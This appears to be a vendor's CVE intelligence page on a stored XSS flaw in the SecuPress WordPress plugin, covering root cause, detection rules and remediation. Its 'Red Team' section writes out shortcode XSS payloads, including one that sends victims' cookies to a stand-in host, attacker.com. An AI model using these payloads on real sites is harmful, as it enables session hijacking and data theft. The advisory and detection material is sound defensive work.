☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-9019

CVE-2024-9019 Cross-Site Scripting in Secupress
📅 PUBLISHED: 2025-02-28 08:23 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.11%
👁️
0.11% probability
2.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-9019 is a Stored Cross-Site Scripting (XSS) vulnerability in the SecuPress Free — WordPress Security plugin for WordPress, affecting all versions up to and including 2.2.5.3. The flaw resides in the secupress_check_ban_ips_form shortcode, where user-supplied attributes are not properly sanitized or escaped. This allows authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. When a user visits a page containing the injected script, it executes in the context of the victim's browser, potentially leading to session hijacking, defacement, or data theft.

This vulnerability is specific to the WordPress ecosystem and does not affect the underlying web server (Apache/Nginx). The plugin is designed to enhance WordPress security, making this a particularly ironic and dangerous flaw.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify they are not running a vulnerable version and monitor for official patches. No supply chain compromise has been reported, but the lack of a patch increases risk.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (Contributor-level)
  • User Interaction: None
  • Scope: Changed (impact on other components)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the ability for authenticated users to inject persistent scripts makes it a significant risk for multi-author WordPress sites.

Deep Dive & Mechanics

The vulnerability is triggered via the secupress_check_ban_ips_form shortcode. This shortcode is intended to display a form for checking banned IPs, but it accepts user-controlled attributes that are not properly sanitized.

Root Cause: The plugin uses add_shortcode to register the shortcode. Inside the shortcode handler, attributes like title or class are directly echoed into the HTML output without escaping. For example:

function secupress_check_ban_ips_form_shortcode($atts) {
    $atts = shortcode_atts(array(
        'title' => 'Check Banned IPs',
        'class' => ''
    ), $atts);
    // ...
    echo '<div class="' . $atts['class'] . '">';
    echo '<h3>' . $atts['title'] . '</h3>';
    // ...
}

An attacker with contributor access can create a post or page and insert the shortcode with malicious attributes:

[secupress_check_ban_ips_form title="<script>alert('XSS')</script>"]

When the page is rendered, the script executes.

Attack Flow:

  1. Attacker logs in with contributor-level privileges.
  2. Attacker creates a new post or page.
  3. Attacker inserts the vulnerable shortcode with a malicious title or class attribute.
  4. The post is published or saved as draft (if previewed).
  5. Any user (including admins) visiting the page triggers the XSS payload.

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.2.5.3):

function secupress_check_ban_ips_form_shortcode($atts) {
    $atts = shortcode_atts(array(
        'title' => 'Check Banned IPs',
        'class' => ''
    ), $atts);
    echo '<div class="' . $atts['class'] . '">';
    echo '<h3>' . $atts['title'] . '</h3>';
    // ... rest of form
}

Patched Code (Hypothetical):

function secupress_check_ban_ips_form_shortcode($atts) {
    $atts = shortcode_atts(array(
        'title' => 'Check Banned IPs',
        'class' => ''
    ), $atts);
    $safe_class = esc_attr($atts['class']);
    $safe_title = esc_html($atts['title']);
    echo '<div class="' . $safe_class . '">';
    echo '<h3>' . $safe_title . '</h3>';
    // ... rest of form
}

The patch uses esc_attr() for HTML attributes and esc_html() for text content to prevent XSS.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • WordPress installation with SecuPress Free plugin version <= 2.2.5.3.
  • A user account with Contributor role or higher.

Exploitation Steps:

  1. Log in as a contributor.
  2. Create a new post.
  3. In the text editor, insert the shortcode with a malicious payload:
    [secupress_check_ban_ips_form title="<img src=x onerror=alert('XSS')>"]
    
  4. Publish or preview the post.
  5. The XSS payload executes when the page is loaded.

Advanced Payload (Session Hijacking):

[secupress_check_ban_ips_form title="<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>"]

Blue Team

Detection:

  • Monitor for posts/pages containing the shortcode secupress_check_ban_ips_form with suspicious attributes.
  • Look for unusual JavaScript in post content.
  • Use WAF rules to block common XSS patterns in shortcode attributes.

Hunting:

  • Query the WordPress database for posts containing the shortcode:
    SELECT ID, post_title, post_content FROM wp_posts WHERE post_content LIKE '%secupress_check_ban_ips_form%';
    
  • Review post revisions for injected scripts.

Indicators of Compromise (IOCs)

  • File: /wp-content/plugins/secupress/ (presence of vulnerable plugin)
  • Database: Posts containing [secupress_check_ban_ips_form with suspicious attributes
  • Network: Outbound connections to attacker-controlled domains from WordPress admin pages
  • Logs: Unusual JavaScript execution in browser console when visiting WordPress pages

Detection Engineering

YARA Rule

rule CVE_2024_9019_Secupress_XSS {
    meta:
        description = "Detects SecuPress Free plugin with vulnerable shortcode usage"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-9019"
    strings:
        $shortcode = "secupress_check_ban_ips_form"
        $vuln_func = "shortcode_atts"
        $unsafe_echo = /echo\s*['\"].*\$atts/
    condition:
        $shortcode and $vuln_func and $unsafe_echo
}

Sigma Rule

title: CVE-2024-9019 SecuPress Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit stored XSS in SecuPress Free plugin
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: 'secupress_check_ban_ips_form'
        http.url|contains|re: '(<|>|script|onerror|onload)'
    condition: selection
falsepositives:
    - Legitimate use of the shortcode with safe attributes
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-9019 SecuPress Stored XSS Attempt"; flow:to_server,established; content:"secupress_check_ban_ips_form"; http_uri; pcre:"/(<|>|script|onerror|onload)/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is released.
  2. Restrict contributor roles to trusted users only.
  3. Use a Web Application Firewall (WAF) to block XSS payloads in shortcode attributes.

Long-term Fix:

  • Apply the official patch from SecuPress when available.
  • If no patch is forthcoming, consider replacing the plugin with an alternative security solution.

Workaround:

  • Manually edit the plugin file (not recommended for production) to add escaping:
    $safe_class = esc_attr($atts['class']);
    $safe_title = esc_html($atts['title']);
    

Monitoring:

  • Continuously monitor for posts containing the vulnerable shortcode.
  • Review user activity logs for suspicious shortcode usage.

Valters IT
Cyber Threat Intelligence Division
Report generated for CVE-2024-9019

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"secupress"
http.html:"SecuPress"
http.title:"SecuPress"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-9019/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.